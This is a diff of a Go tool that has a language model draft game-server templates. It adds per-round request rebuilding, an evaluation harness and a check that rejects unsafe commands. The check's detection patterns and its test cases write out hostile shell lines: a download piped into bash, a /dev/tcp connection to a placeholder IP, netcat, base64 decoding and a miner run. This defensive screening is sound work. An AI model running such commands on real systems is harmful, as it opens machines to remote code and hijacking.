@@ -200,7 +213,7 @@ func buildWithImage(o buildOptions, image string) (*buildResult, error) {
problems, err := d.refine(o.attempts, fixRequest(failure, diag)) problems, err := d.refine(o.attempts, fixRequest(failure, diag))
res.Rounds = d.rounds res.Rounds = d.rounds
if err != nil { if err != nil {
return res, err return err
} }
if len(problems) > 0 { if len(problems) > 0 {
res.Problems = problems res.Problems = problems
@@ -211,8 +224,7 @@ func buildWithImage(o buildOptions, image string) (*buildResult, error) {
if res.Passed { if res.Passed {
res.Problems = nil res.Problems = nil
} }
res.Summary = buildSummary(o, res) return nil
return res, nil
} }
func isSteamCMDImage(image string) bool { func isSteamCMDImage(image string) bool {
@@ -406,11 +418,20 @@ func buildSummary(o buildOptions, res *buildResult) string {
} }
fmt.Fprintf(&b, "\n- Model rounds: %d\n", res.Rounds) fmt.Fprintf(&b, "\n- Model rounds: %d\n", res.Rounds)
if len(res.Verified) > 0 { if len(res.Verified) > 0 {
b.WriteString("\n**Checked for real**\n") b.WriteString("\n**Checked for real** (measured by the builder, not the model's word)\n")
for _, v := range res.Verified { for _, v := range res.Verified {
fmt.Fprintf(&b, "- %s\n", v) fmt.Fprintf(&b, "- %s\n", v)
} }
} }
// What a node will fetch from the internet for this game: the part of a template a reviewer must check
if g, err := loadMap(filepath.Join(res.Dir, "game.yaml")); err == nil {
if urls := downloadURLs(g); len(urls) > 0 {
b.WriteString("\n**Review carefully: nodes download from these addresses**\n")
for _, u := range urls {
fmt.Fprintf(&b, "- %s\n", u)
}
}
}
if len(res.Problems) > 0 { if len(res.Problems) > 0 {
b.WriteString("\n**Still open** (the builder could not fix these)\n") b.WriteString("\n**Still open** (the builder could not fix these)\n")
for _, p := range res.Problems { for _, p := range res.Problems {
@@ -424,7 +445,7 @@ func buildSummary(o buildOptions, res *buildResult) string {
} }
} }
if o.variant.Notes != "" { if o.variant.Notes != "" {
fmt.Fprintf(&b, "\n**Notes from research:** %s\n", o.variant.Notes) fmt.Fprintf(&b, "\n**From the sources** (the model's reading of the pages below, not checked): %s\n", o.variant.Notes)
} }
if len(o.variant.Sources) > 0 { if len(o.variant.Sources) > 0 {
b.WriteString("\n**Sources**\n") b.WriteString("\n**Sources**\n")
+31
View File
@@ -30,7 +30,9 @@ func TestOutsideDirsSkipsSteamNoise(t *testing.T) {
r := &bootReport{ContainerChanges: []string{ r := &bootReport{ContainerChanges: []string{
"A /home/steam/.config/example-game/worlds/w.db", "A /home/steam/.config/example-game/worlds/w.db",
"A /home/steam/Steam/logs/connection_log.txt", "A /home/steam/Steam/logs/connection_log.txt",
"C /home/steam/Steam/config/config.vdf",
"C /home/steam/.steam/registry.vdf", "C /home/steam/.steam/registry.vdf",
"A /usr/sbin/docker-init",
}} }}
got := outsideDirs(r) got := outsideDirs(r)
if len(got) != 1 || got[0] != "/home/steam/.config/example-game/worlds" { if len(got) != 1 || got[0] != "/home/steam/.config/example-game/worlds" {
@@ -77,3 +79,32 @@ configSchema:
t.Errorf("message: %s", msg) t.Errorf("message: %s", msg)
} }
} }
func TestScoreDraftAgainstTheRealTemplate(t *testing.T) {
real := map[string]any{"defaultDockerImage": "cm2network/steamcmd", "installMethod": "STEAMCMD",
"installConfig": map[string]any{"appId": "1000000"}, "defaultPorts": []any{"30000/udp", "30001/udp"},
"configSchema": map[string]any{"properties": map[string]any{"ServerName": map[string]any{}, "MaxPlayers": map[string]any{}}}}
draft := map[string]any{"defaultDockerImage": "cm2network/steamcmd", "installMethod": "STEAMCMD",
"installConfig": map[string]any{"appId": "1000000"}, "defaultPorts": []any{"30000/udp", "30002/tcp"},
"readyPattern": `Server is ready`,
"configSchema": map[string]any{"properties": map[string]any{"SERVER_NAME": map[string]any{}, "WorldName": map[string]any{}}}}
var s evalScore
scoreDraft(&s, real, map[string]any{"readyExample": "12:00:01 Server is ready for players"}, draft)
if !s.SameRoute || s.PortsSame || !s.ReadyMatch || s.SettingsHit != 1 || s.RealSetting != 2 || s.Settings != 2 {
t.Errorf("score %+v", s)
}
if strings.Join(s.PortsDiff, ",") != "extra 30002/tcp,missing 30001/udp" {
t.Errorf("ports diff %v", s.PortsDiff)
}
}
func TestPRTextForBuildsAndRepairs(t *testing.T) {
_, title := prText("Example", "job1", &buildResult{Passed: true})
if title != "feat(games): add Example" {
t.Errorf("build title %q", title)
}
commit, title := prText("Example", "job1", &buildResult{Repair: true})
if title != "WIP: fix(games): repair Example (did not boot yet)" || !strings.HasPrefix(commit, "fix(games): repair Example") {
t.Errorf("repair %q / %q", title, commit)
}
}
+4
View File
@@ -188,6 +188,10 @@ func (iv *investigator) runChecks(checks []checkRequest) string {
} }
b.WriteString("\n") b.WriteString("\n")
} }
// Bounded, like every request: pages can be long, and the model's context is not
if s := b.String(); len(s) > 16000 {
return s[:16000] + "\n...(cut: check results too long)\n"
}
return b.String() return b.String()
} }
+77 -35
View File
@@ -84,10 +84,14 @@ type draftJob struct {
// Text of the pages research based the variant on; when set, every launch option in the startup // Text of the pages research based the variant on; when set, every launch option in the startup
// command must appear in it (or in the image's scripts) // command must appear in it (or in the image's scripts)
Docs string Docs string
// Repair: games/<id> is an existing template to fix, not a new game
Repair bool
} }
// drafter holds one conversation with the model about one game, so later problems (a failed boot) can // drafter keeps what the model needs about one game across rounds. Each request is rebuilt from it
// be sent back to it with everything it was told before. // instead of growing one conversation: a local model's context is limited, and when a conversation
// outgrows it the oldest part, the facts, is silently dropped. A request is the rules and the facts,
// the model's latest template, what is wrong with it now, and one line per earlier round.
type drafter struct { type drafter struct {
job draftJob job draftJob
dir, id string dir, id string
@@ -95,7 +99,9 @@ type drafter struct {
facts *imageFacts facts *imageFacts
gameSchema, testSchema *jsonschema.Schema gameSchema, testSchema *jsonschema.Schema
answerSchema map[string]any answerSchema map[string]any
messages []chatMessage base []chatMessage // the rules and the facts
last string // the model's latest answer (or the template being repaired)
history []string // one line per earlier round
rounds int rounds int
} }
@@ -105,8 +111,8 @@ func newDrafter(j draftJob) (*drafter, error) {
id = gameID(j.Name) id = gameID(j.Name)
} }
d := &drafter{job: j, id: id, dir: filepath.Join(j.GamesDir, id)} d := &drafter{job: j, id: id, dir: filepath.Join(j.GamesDir, id)}
if _, err := os.Stat(d.dir); err == nil { if _, err := os.Stat(d.dir); err == nil && !j.Repair {
return nil, fmt.Errorf("%s already exists; drafts only create new games", d.dir) return nil, fmt.Errorf("%s already exists; drafts only create new games (repair fixes existing ones)", d.dir)
} }
var err error var err error
if d.m, err = newModel(j.Provider, j.Model); err != nil { if d.m, err = newModel(j.Provider, j.Model); err != nil {
@@ -137,13 +143,29 @@ func newDrafter(j draftJob) (*drafter, error) {
if why := imageUnusable(j.Report); why != "" { if why := imageUnusable(j.Report); why != "" {
return nil, errors.New(why) return nil, errors.New(why)
} }
d.messages = []chatMessage{ d.base = []chatMessage{
{Role: "system", Content: draftSystemPrompt(string(rules))}, {Role: "system", Content: draftSystemPrompt(string(rules))},
{Role: "user", Content: draftRequest(j.Name, id, j.Image, j.SteamApp, j.Notes, d.facts, j.Report)}, {Role: "user", Content: draftRequest(j.Name, id, j.Image, j.SteamApp, j.Notes, d.facts, j.Report)},
} }
return d, nil return d, nil
} }
// request builds one request: the rules and facts, and once there is a template, that template with
// what is wrong with it and a line per earlier round.
func (d *drafter) request(problems []string) []chatMessage {
msgs := append([]chatMessage{}, d.base...)
if d.last == "" {
return msgs
}
var b strings.Builder
b.WriteString("Your template (above) has these problems. Fix all of them and answer with the complete corrected " +
"JSON object (both \"game\" and \"test\"):\n- " + strings.Join(problems, "\n- "))
if len(d.history) > 0 {
b.WriteString("\n\nEarlier rounds (already dealt with: don't undo those fixes):\n- " + strings.Join(d.history, "\n- "))
}
return append(msgs, chatMessage{Role: "assistant", Content: d.last}, chatMessage{Role: "user", Content: b.String()})
}
func gameID(name string) string { func gameID(name string) string {
return strings.Trim(regexp.MustCompile(`[^a-z0-9]+`).ReplaceAllString(strings.ToLower(name), "-"), "-") return strings.Trim(regexp.MustCompile(`[^a-z0-9]+`).ReplaceAllString(strings.ToLower(name), "-"), "-")
} }
@@ -152,20 +174,20 @@ func gameID(name string) string {
// attempts+1 answers. feedback, when given, is what went wrong since the last answer (e.g. its boot). // attempts+1 answers. feedback, when given, is what went wrong since the last answer (e.g. its boot).
// It returns the problems still left, nil when the draft passes. // It returns the problems still left, nil when the draft passes.
func (d *drafter) refine(attempts int, feedback []string) ([]string, error) { func (d *drafter) refine(attempts int, feedback []string) ([]string, error) {
if len(feedback) > 0 { problems := feedback
d.ask(feedback)
}
var problems []string
for round := 0; round <= attempts; round++ { for round := 0; round <= attempts; round++ {
d.rounds++ d.rounds++
fmt.Printf("[draft] round %d: asking %s\n", d.rounds, d.m.name()) fmt.Printf("[draft] round %d: asking %s\n", d.rounds, d.m.name())
start := time.Now() start := time.Now()
answer, err := d.m.chat(d.messages, d.answerSchema) answer, err := d.m.chat(d.request(problems), d.answerSchema)
if err != nil { if err != nil {
return nil, err return nil, err
} }
fmt.Printf("[draft] answer in %.0fs\n", time.Since(start).Seconds()) fmt.Printf("[draft] answer in %.0fs\n", time.Since(start).Seconds())
d.messages = append(d.messages, chatMessage{Role: "assistant", Content: answer}) if len(problems) > 0 {
d.history = append(d.history, fmt.Sprintf("round %d fixed: %s", d.rounds, summarize(problems)))
}
d.last = answer
if problems = d.check(answer); len(problems) == 0 { if problems = d.check(answer); len(problems) == 0 {
fmt.Printf("[draft] %s passes validation and the image checks\n", d.dir) fmt.Printf("[draft] %s passes validation and the image checks\n", d.dir)
@@ -175,16 +197,20 @@ func (d *drafter) refine(attempts int, feedback []string) ([]string, error) {
for _, p := range problems { for _, p := range problems {
fmt.Println(" - " + p) fmt.Println(" - " + p)
} }
if round < attempts {
d.ask(problems)
}
} }
return problems, nil return problems, nil
} }
func (d *drafter) ask(problems []string) { // summarize is one line for the round history: the first problem, and how many more.
d.messages = append(d.messages, chatMessage{Role: "user", Content: "Your template has these problems. Fix all of them and " + func summarize(problems []string) string {
"answer with the complete corrected JSON object (both \"game\" and \"test\"):\n- " + strings.Join(problems, "\n- ")}) s := firstLine(problems[0])
if len(s) > 160 {
s = s[:160] + "…"
}
if len(problems) > 1 {
s += fmt.Sprintf(" (and %d more)", len(problems)-1)
}
return s
} }
func (d *drafter) check(answer string) []string { func (d *drafter) check(answer string) []string {
@@ -203,6 +229,7 @@ func (d *drafter) check(answer string) []string {
problems = append(problems, splitSettings(g)...) problems = append(problems, splitSettings(g)...)
problems = append(problems, portSettings(g)...) problems = append(problems, portSettings(g)...)
problems = append(problems, undocumentedOptions(g, d.job.Docs, d.facts)...) problems = append(problems, undocumentedOptions(g, d.job.Docs, d.facts)...)
problems = append(problems, unsafeCommands(g)...)
} }
} }
return problems return problems
@@ -336,9 +363,6 @@ func closestVar(name string, vars []string) string {
return best return best
} }
// Files the Steam client, Proton and the OS write for themselves: not the game's data
var outsideNoise = []string{"/Steam/logs/", "/.steam/", "/steamcmd/", "/.cache/", "/tmp/", "/.local/share/umu"}
// savesOutsideVolumes turns first boot's "written outside the volumes" into a hard check: anything the // savesOutsideVolumes turns first boot's "written outside the volumes" into a hard check: anything the
// game itself wrote there (worlds or player lists under the user's home folder) is lost every time the // game itself wrote there (worlds or player lists under the user's home folder) is lost every time the
// node recreates the container. A template passes once its startup command or settings point the game at // node recreates the container. A template passes once its startup command or settings point the game at
@@ -372,14 +396,8 @@ func outsideDirs(report *bootReport) []string {
} }
dirs := map[string]bool{} dirs := map[string]bool{}
for _, c := range report.ContainerChanges { for _, c := range report.ContainerChanges {
_, p, _ := strings.Cut(c, " ") // A report saved by an older version can still list files that aren't the game's state
noise := false if _, p, _ := strings.Cut(c, " "); p != "" && !notGameState(p) {
for _, n := range outsideNoise {
if strings.Contains(p, n) {
noise = true
}
}
if !noise && p != "" {
dirs[path.Dir(p)] = true dirs[path.Dir(p)] = true
} }
} }
@@ -416,12 +434,22 @@ func draftRequest(gameName, id, image, steamApp, notes string, facts *imageFacts
fmt.Fprintf(&b, "- notes: %s\n", notes) fmt.Fprintf(&b, "- notes: %s\n", notes)
} }
// The image's scripts are the biggest part of the facts: 8000 characters each, 24000 in all, so the
// request leaves the model room for the rest and for its answer
f := *facts f := *facts
f.Scripts = map[string]string{} f.Scripts = map[string]string{}
for p, s := range facts.Scripts { budget := 24000
if len(s) > 8000 { for _, p := range sortedKeysString(facts.Scripts) {
s = s[:8000] + "\n...(truncated)" s := facts.Scripts[p]
limit := min(8000, budget)
if limit <= 0 {
f.Scripts[p] = "(left out: too long for the request)"
continue
} }
if len(s) > limit {
s = s[:limit] + "\n...(truncated)"
}
budget -= len(s)
f.Scripts[p] = s f.Scripts[p] = s
} }
fj, _ := json.MarshalIndent(f, "", " ") fj, _ := json.MarshalIndent(f, "", " ")
@@ -669,17 +697,22 @@ type ollamaModel struct{ url, model string }
func (o *ollamaModel) name() string { return "ollama " + o.model + " at " + o.url } func (o *ollamaModel) name() string { return "ollama " + o.model + " at " + o.url }
// The model's context in tokens. Ollama silently drops the oldest part of a prompt that doesn't fit, so
// every request reports how much of it is used
const ollamaContext = 32768
func (o *ollamaModel) chat(messages []chatMessage, schema map[string]any) (string, error) { func (o *ollamaModel) chat(messages []chatMessage, schema map[string]any) (string, error) {
body := map[string]any{ body := map[string]any{
"model": o.model, "messages": messages, "stream": false, "format": schema, "model": o.model, "messages": messages, "stream": false, "format": schema,
// Ollama silently truncates input beyond its default context "options": map[string]any{"num_ctx": ollamaContext, "temperature": 0.2},
"options": map[string]any{"num_ctx": 32768, "temperature": 0.2},
} }
var resp struct { var resp struct {
Message struct { Message struct {
Content string `json:"content"` Content string `json:"content"`
} `json:"message"` } `json:"message"`
Error string `json:"error"` PromptTokens int `json:"prompt_eval_count"`
AnswerTokens int `json:"eval_count"`
Error string `json:"error"`
} }
if err := postJSON(o.url+"/api/chat", body, &resp, 30*time.Minute); err != nil { if err := postJSON(o.url+"/api/chat", body, &resp, 30*time.Minute); err != nil {
return "", err return "", err
@@ -687,9 +720,18 @@ func (o *ollamaModel) chat(messages []chatMessage, schema map[string]any) (strin
if resp.Error != "" { if resp.Error != "" {
return "", errors.New("ollama: " + resp.Error) return "", errors.New("ollama: " + resp.Error)
} }
fmt.Println(contextNote(resp.PromptTokens, resp.AnswerTokens))
return resp.Message.Content, nil return resp.Message.Content, nil
} }
func contextNote(prompt, answer int) string {
note := fmt.Sprintf("[model] %d prompt + %d answer tokens of %d", prompt, answer, ollamaContext)
if prompt+answer >= ollamaContext*9/10 {
note += ": WARNING, close to the model's context; the start of the prompt may have been cut"
}
return note
}
type geminiModel struct{ key, model string } type geminiModel struct{ key, model string }
func (g *geminiModel) name() string { return "gemini " + g.model } func (g *geminiModel) name() string { return "gemini " + g.model }
+35
View File
@@ -128,3 +128,38 @@ func TestExampleTemplateFollowsTheRules(t *testing.T) {
t.Error(p) t.Error(p)
} }
} }
func TestDrafterRequestStaysTheSameSizeEveryRound(t *testing.T) {
d := &drafter{base: []chatMessage{{Role: "system", Content: "rules"}, {Role: "user", Content: "facts"}}}
if got := d.request(nil); len(got) != 2 {
t.Fatalf("first request should be the rules and facts only, got %d messages", len(got))
}
d.last = `{"game":{"id":"example"}}`
d.history = []string{"round 1 fixed: defaultPorts is empty", "round 2 fixed: setting X has no title"}
got := d.request([]string{"booting your template failed: FAILED: server crashed"})
if len(got) != 4 || got[2].Role != "assistant" || got[2].Content != d.last {
t.Fatalf("want rules, facts, the latest template and the problems; got %+v", got)
}
last := got[3].Content
for _, want := range []string{"server crashed", "round 1 fixed: defaultPorts is empty", "don't undo"} {
if !strings.Contains(last, want) {
t.Errorf("missing %q in %s", want, last)
}
}
// However many rounds there were, still four messages: nothing piles up
for i := 0; i < 10; i++ {
d.history = append(d.history, "another round")
}
if n := len(d.request([]string{"x"})); n != 4 {
t.Errorf("request grew to %d messages", n)
}
}
func TestContextNoteWarnsNearTheLimit(t *testing.T) {
if strings.Contains(contextNote(12000, 2000), "WARNING") {
t.Error("warned too early")
}
if !strings.Contains(contextNote(28000, 2000), "WARNING") {
t.Error("no warning near the limit")
}
}
+76
View File
@@ -323,3 +323,79 @@ func launchOptions(cmd string) []string {
} }
return out return out
} }
// Things a game server's startup or install never needs, and that a prompt-injected or careless model
// could write. Templates run on players' own machines, so a draft with any of them goes back to the model.
var unsafePatterns = []struct {
re *regexp.Regexp
what string
}{
{regexp.MustCompile(`(?i)(curl|wget)[^|;&\n]*\|\s*(sudo\s+)?(ba|z|da)?sh\b`), "pipes a download straight into a shell"},
{regexp.MustCompile(`(?i)base64\s+(-d|--decode)`), "decodes hidden (base64) content"},
{regexp.MustCompile(`(^|[^\w-])eval\s`), "runs text as a command (eval)"},
{regexp.MustCompile(`/dev/(tcp|udp)/`), "opens raw network connections"},
{regexp.MustCompile(`(^|[^\w-])(nc|ncat|netcat|socat)\s`), "uses a raw network tool"},
{regexp.MustCompile(`(^|[^\w-])(sudo|su)\s`), "tries to become another user"},
{regexp.MustCompile(`chmod\s+([0-7]*[4-7][0-7]{3}\b|[ugoa]*\+[rwx]*s)`), "sets setuid/setgid bits"},
{regexp.MustCompile(`(>|\btee\s+(-a\s+)?)\s*/etc/`), "writes to /etc"},
{regexp.MustCompile(`(?i)(^|[^\w-])(crontab|systemctl|iptables|mount|insmod|modprobe)\s`), "changes the machine itself"},
{regexp.MustCompile(`(?i)xmrig|minerd|stratum\+tcp|cryptonight`), "looks like a cryptocurrency miner"},
}
// unsafeCommands checks the commands a node runs for a template: the startup command and anything in
// installConfig (scripts, file downloads).
func unsafeCommands(game map[string]any) []string {
var problems []string
for _, text := range commandTexts(game) {
for _, p := range unsafePatterns {
if m := p.re.FindString(text); m != "" {
problems = append(problems, fmt.Sprintf("the template %s (%q). Templates run on players' own machines: a game "+
"server never needs that. Remove it; if the server needs a file, install it with installMethod or "+
"installConfig.files from the game's official source", p.what, strings.TrimSpace(m)))
}
}
}
return problems
}
var urlRe = regexp.MustCompile(`https?://[^\s"'<>)]+`)
// downloadURLs lists the addresses a template makes nodes download from, for the reviewer to check.
func downloadURLs(game map[string]any) []string {
seen := map[string]bool{}
var out []string
for _, text := range commandTexts(game) {
for _, u := range urlRe.FindAllString(text, -1) {
if !seen[u] {
seen[u] = true
out = append(out, u)
}
}
}
return out
}
// commandTexts is everything in a template that ends up being run or fetched on a node.
func commandTexts(game map[string]any) []string {
var out []string
if s, _ := game["defaultStartupCommand"].(string); s != "" {
out = append(out, unwrapShell(s))
}
var walk func(v any)
walk = func(v any) {
switch t := v.(type) {
case string:
out = append(out, t)
case map[string]any:
for _, k := range sortedKeys(t) {
walk(t[k])
}
case []any:
for _, e := range t {
walk(e)
}
}
}
walk(game["installConfig"])
return out
}
+48
View File
@@ -149,3 +149,51 @@ func TestUndocumentedOptionsWholeWords(t *testing.T) {
t.Errorf("got %q", got) t.Errorf("got %q", got)
} }
} }
func TestUnsafeCommandsCatchWhatAServerNeverNeeds(t *testing.T) {
bad := map[string]string{
`curl -fsSL https://example.com/x.sh | bash`: "pipes a download straight into a shell",
`wget -qO- http://example.com/i | sudo sh`: "pipes a download straight into a shell",
`echo aGk= | base64 -d > run.sh; ./server`: "decodes hidden",
`eval "$EXTRA"; ./server`: "eval",
`exec 3<>/dev/tcp/203.0.113.1/4444; ./server`: "raw network connections",
`nc -l 4444 & ./server`: "raw network tool",
`sudo ./server`: "become another user",
`chmod u+s ./helper; ./server`: "setuid",
`echo x >> /etc/hosts; ./server`: "writes to /etc",
`crontab -l; ./server`: "changes the machine",
`./xmrig --url stratum+tcp://pool.example.com:3333`: "miner",
`bash -c 'curl -s https://example.com/a | sh; ./server'`: "pipes a download",
}
for startup, want := range bad {
got := strings.Join(unsafeCommands(map[string]any{"defaultStartupCommand": startup}), "\n")
if !strings.Contains(got, want) {
t.Errorf("%s\n want %q, got %q", startup, want, got)
}
}
// An install script counts too
if len(unsafeCommands(map[string]any{"installConfig": map[string]any{"script": "curl https://example.com/i | sh"}})) == 0 {
t.Error("installConfig.script not checked")
}
fine := []string{
`args=(-name "${SERVER_NAME}" -port 30000); ./example_server "${args[@]}"`,
`mkdir -p /server/saves && exec ./example_server -datadir /server/saves`,
`[ -n "$PASSWORD" ] && args+=(-password "$PASSWORD"); ./example_server -evaluation-mode`,
}
for _, startup := range fine {
if p := unsafeCommands(map[string]any{"defaultStartupCommand": startup}); len(p) != 0 {
t.Errorf("%s flagged: %v", startup, p)
}
}
}
func TestDownloadURLsForTheReviewer(t *testing.T) {
g := map[string]any{
"defaultStartupCommand": `wget -q https://example.com/tool.tar.gz -O t.tgz && tar xzf t.tgz; ./server`,
"installConfig": map[string]any{"files": []any{map[string]any{"url": "https://example.org/plugin.jar", "path": "plugins/p.jar"}}},
}
got := downloadURLs(g)
if len(got) != 2 || got[0] != "https://example.com/tool.tar.gz" || got[1] != "https://example.org/plugin.jar" {
t.Errorf("got %v", got)
}
}
+225
View File
@@ -0,0 +1,225 @@
package main
import (
"encoding/json"
"errors"
"flag"
"fmt"
"os"
"path/filepath"
"regexp"
"sort"
"strings"
"time"
)
// eval measures the builder: it builds games that already have a working template from scratch (research,
// first boot, draft, boots), without opening a pull request and without the builder seeing that template,
// and scores each draft against the merged one. Run it before and after changing the builder or the model
// to see whether the change helped.
type evalScore struct {
Game string `json:"game"`
Boots bool `json:"boots"`
SameRoute bool `json:"sameRoute"` // same image, and same Steam app when installed with SteamCMD
PortsSame bool `json:"portsSame"`
PortsDiff []string `json:"portsDiff,omitempty"`
ReadyMatch bool `json:"readyMatch"` // the draft's readyPattern matches the real server's ready line
Settings int `json:"settings"`
SettingsHit int `json:"settingsHit"` // of the real template's settings, how many the draft has too
RealSetting int `json:"realSettings"`
Rounds int `json:"rounds"`
Minutes float64 `json:"minutes"`
Error string `json:"error,omitempty"`
}
func runEval(args []string) error {
fs := flag.NewFlagSet("eval", flag.ExitOnError)
gamesDir := fs.String("games", "games", "the repo's games directory: the templates to compare against")
schemaDir := fs.String("schemas", "schema", "directory holding the JSON Schemas")
which := fs.String("ids", "all", "comma-separated game ids, or all")
provider := fs.String("provider", "ollama", "ollama or gemini")
modelName := fs.String("model", "", "model name (default as for draft)")
out := fs.String("out", "eval.md", "write the report here (and the scores as JSON next to it)")
fs.Parse(args)
ids, err := evalIDs(*gamesDir, *which)
if err != nil {
return err
}
m, err := newModel(*provider, *modelName)
if err != nil {
return err
}
var scores []evalScore
for _, id := range ids {
fmt.Printf("[eval] ===== %s =====\n", id)
s := evalGame(m, *gamesDir, *schemaDir, id, *provider, *modelName)
fmt.Printf("[eval] %s: boots %v, same route %v, ports same %v, ready matches %v, settings %d/%d\n",
id, s.Boots, s.SameRoute, s.PortsSame, s.ReadyMatch, s.SettingsHit, s.RealSetting)
scores = append(scores, s)
}
if err := os.WriteFile(*out, []byte(evalReport(scores)), 0o644); err != nil {
return err
}
raw, _ := json.MarshalIndent(scores, "", " ")
return os.WriteFile(strings.TrimSuffix(*out, filepath.Ext(*out))+".json", raw, 0o644)
}
func evalIDs(gamesDir, which string) ([]string, error) {
if which != "all" {
return strings.Split(which, ","), nil
}
entries, err := os.ReadDir(gamesDir)
if err != nil {
return nil, err
}
var ids []string
for _, e := range entries {
if _, err := os.Stat(filepath.Join(gamesDir, e.Name(), "game.yaml")); err == nil {
ids = append(ids, e.Name())
}
}
if len(ids) == 0 {
return nil, errors.New("no templates to evaluate against")
}
return ids, nil
}
// evalGame builds one game blind, in an empty games folder, and compares the draft with the real template.
func evalGame(m model, gamesDir, schemaDir, id, provider, modelName string) evalScore {
s := evalScore{Game: id}
start := time.Now()
defer func() { s.Minutes = time.Since(start).Minutes() }()
real, err := loadMap(filepath.Join(gamesDir, id, "game.yaml"))
if err != nil {
s.Error = err.Error()
return s
}
realTest, _ := loadMap(filepath.Join(gamesDir, id, "test.yaml"))
name, _ := real["name"].(string)
res, err := research(m, name, "", 6)
if err != nil {
s.Error = "research: " + err.Error()
return s
}
var chosen *variant
for i := range res.Variants {
if res.Variants[i].Recommended {
chosen = &res.Variants[i]
}
}
if chosen == nil {
s.Error = "research recommended no runnable option: " + res.Message
return s
}
blind, err := os.MkdirTemp("", "gbr-eval-")
if err != nil {
s.Error = err.Error()
return s
}
defer os.RemoveAll(blind)
built, err := build(buildOptions{gamesDir: blind, schemaDir: schemaDir, name: name, id: id, variant: *chosen,
provider: provider, model: modelName, attempts: 3, bootRounds: 5, agentImage: agentImageFromEnv()})
if built != nil {
s.Boots, s.Rounds = built.Passed, built.Rounds
}
if err != nil {
s.Error = "build: " + err.Error()
}
draft, derr := loadMap(filepath.Join(blind, id, "game.yaml"))
if derr != nil {
if s.Error == "" {
s.Error = "no draft written"
}
return s
}
scoreDraft(&s, real, realTest, draft)
return s
}
// scoreDraft compares a draft with the real template.
func scoreDraft(s *evalScore, real, realTest, draft map[string]any) {
s.SameRoute = real["defaultDockerImage"] == draft["defaultDockerImage"] && steamAppOf(real) == steamAppOf(draft)
want, got := portSet(real), portSet(draft)
for p := range want {
if !got[p] {
s.PortsDiff = append(s.PortsDiff, "missing "+p)
}
}
for p := range got {
if !want[p] {
s.PortsDiff = append(s.PortsDiff, "extra "+p)
}
}
sort.Strings(s.PortsDiff)
s.PortsSame = len(s.PortsDiff) == 0
if pattern, _ := draft["readyPattern"].(string); pattern != "" {
example, _ := realTest["readyExample"].(string)
if re, err := regexp.Compile(pattern); err == nil && example != "" {
s.ReadyMatch = re.MatchString(example)
}
}
realKeys := map[string]bool{}
for k := range schemaProperties(real) {
realKeys[envName(k)] = true
}
s.RealSetting = len(realKeys)
for k := range schemaProperties(draft) {
s.Settings++
if realKeys[envName(k)] {
s.SettingsHit++
}
}
}
func steamAppOf(g map[string]any) string {
if g["installMethod"] != "STEAMCMD" {
return ""
}
ic, _ := g["installConfig"].(map[string]any)
return fmt.Sprint(ic["appId"])
}
// portSet is a template's published container ports, as "port/proto".
func portSet(g map[string]any) map[string]bool {
out := map[string]bool{}
ports, _ := g["defaultPorts"].([]any)
for _, p := range ports {
out[containerPort(fmt.Sprint(p))] = true
}
return out
}
func evalReport(scores []evalScore) string {
var b strings.Builder
b.WriteString("# Builder evaluation\n\nEach game was built blind (research, first boot, draft, boots) and compared " +
"with its merged template.\n\n")
b.WriteString("| Game | Boots | Same image/app | Ports | Ready line | Settings found | Rounds | Minutes | Note |\n")
b.WriteString("| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n")
passed := 0
for _, s := range scores {
if s.Boots {
passed++
}
ports := "same"
if !s.PortsSame {
ports = strings.Join(s.PortsDiff, ", ")
}
fmt.Fprintf(&b, "| %s | %s | %s | %s | %s | %d of %d (draft has %d) | %d | %.0f | %s |\n", s.Game, mark(s.Boots), mark(s.SameRoute),
ports, mark(s.ReadyMatch), s.SettingsHit, s.RealSetting, s.Settings, s.Rounds, s.Minutes, s.Error)
}
fmt.Fprintf(&b, "\n%d of %d drafts booted.\n", passed, len(scores))
return b.String()
}
func mark(ok bool) string {
if ok {
return "yes"
}
return "no"
}
+51 -31
View File
@@ -512,16 +512,36 @@ func (b *booter) fileLines(report *bootReport) []logLine {
return out return out
} }
// System folders and files that aren't the game's state: what's written there doesn't matter when lost // Files that aren't the game's state, so losing them doesn't matter: system folders, Docker's own init
// (in every container started with --init), logs, lock and pid files, and what the Steam client, Proton
// and the OS keep for themselves in the home folder
var ( var (
systemPrefixes = []string{"/tmp", "/proc", "/sys", "/dev", "/run", "/etc", "/var/log", "/var/cache", "/var/tmp", "/var/lib/apt"} systemPrefixes = []string{"/tmp", "/proc", "/sys", "/dev", "/run", "/etc", "/var/log", "/var/cache", "/var/tmp", "/var/lib/apt", "/usr/sbin/docker-init"}
transientExt = map[string]bool{".log": true, ".pid": true, ".lock": true, ".tmp": true, ".swp": true} transientExt = map[string]bool{".log": true, ".pid": true, ".lock": true, ".tmp": true, ".swp": true}
clientNoise = []string{"/Steam/logs/", "/Steam/config/", "/Steam/appcache/", "/.steam/", "/steamcmd/", "/.cache/", "/tmp/", "/.local/share/umu"}
) )
func notGameState(p string) bool {
if transientExt[strings.ToLower(path.Ext(p))] {
return true
}
for _, prefix := range systemPrefixes {
if p == prefix || strings.HasPrefix(p, prefix+"/") {
return true
}
}
for _, n := range clientNoise {
if strings.Contains(p, n) {
return true
}
}
return false
}
// containerChanges lists the files the server wrote anywhere but /server and /data. All of them are // containerChanges lists the files the server wrote anywhere but /server and /data. All of them are
// lost when the node recreates the container (every start): in the container's own filesystem, and in // lost when the node recreates the container (every start): in the container's own filesystem, and in
// the image's VOLUME folders, which Docker gives fresh anonymous volumes each time. Logs, lock and pid // the image's VOLUME folders, which Docker gives fresh anonymous volumes each time. Files that aren't
// files are left out; saves of any kind are not. // the game's state are left out; saves of any kind are not.
func (b *booter) containerChanges() []string { func (b *booter) containerChanges() []string {
var changes []string var changes []string
if out, err := exec.Command("docker", "diff", b.container).Output(); err == nil { if out, err := exec.Command("docker", "diff", b.container).Output(); err == nil {
@@ -541,7 +561,7 @@ func (b *booter) containerChanges() []string {
n := 0 n := 0
for _, f := range strings.Split(strings.TrimSpace(string(files)), "\n") { for _, f := range strings.Split(strings.TrimSpace(string(files)), "\n") {
rel := strings.TrimPrefix(f, "/v/") rel := strings.TrimPrefix(f, "/v/")
if f == "" || transientExt[strings.ToLower(path.Ext(rel))] { if f == "" || notGameState(path.Join(dest, rel)) {
continue continue
} }
if n++; n > 200 { if n++; n > 200 {
@@ -553,42 +573,42 @@ func (b *booter) containerChanges() []string {
return changes return changes
} }
// outsideFiles picks the files out of `docker diff` output: added or changed leaves (docker diff lists // outsideFiles picks the game's files out of `docker diff` output: added or changed outside the mounted
// folders too) outside the mounted volumes and system folders, without transient files. // volumes. docker diff lists folders too, as changed when anything inside them changed, so a folder only
